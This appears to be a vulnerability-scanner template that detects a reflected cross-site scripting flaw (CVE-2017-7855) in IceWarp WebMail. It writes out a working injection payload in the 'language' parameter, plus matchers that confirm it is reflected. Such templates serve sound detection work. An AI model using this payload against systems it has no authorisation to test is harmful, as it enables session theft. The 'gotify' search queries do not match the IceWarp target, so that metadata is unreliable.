id: CVE-2017-7855

info:
  name: IceWarp WebMail 11.3.1.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
  reference:
    - https://technical.nttsecurity.com/post/102eegq/cookies-are-delicious
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7855
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-7855
    cwe-id: CWE-79
    epss-score: 0.0201
    epss-percentile: 0.78323
    cpe: cpe:2.3:a:icewarp:server:11.3.1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: server
    shodan-query:
      - title:"icewarp"
      - http.title:"gotify"
    fofa-query: title="gotify"
    google-query: intitle:"gotify"
  tags: cve,cve2017,xss,icewarp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'lang=""><img src=x onerror=alert(document.domain)>'
          - 'IceWarp'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220524383fbaee7084a4ad4ea4e9715872ff04628979183f01622ef64cead8e8f1a022100d576cf490298b180c96d6e585ed0d1be2d6ce425f7215e6d1f7de70ff5e9381b:922c64590222798bb761d5b6d8e72950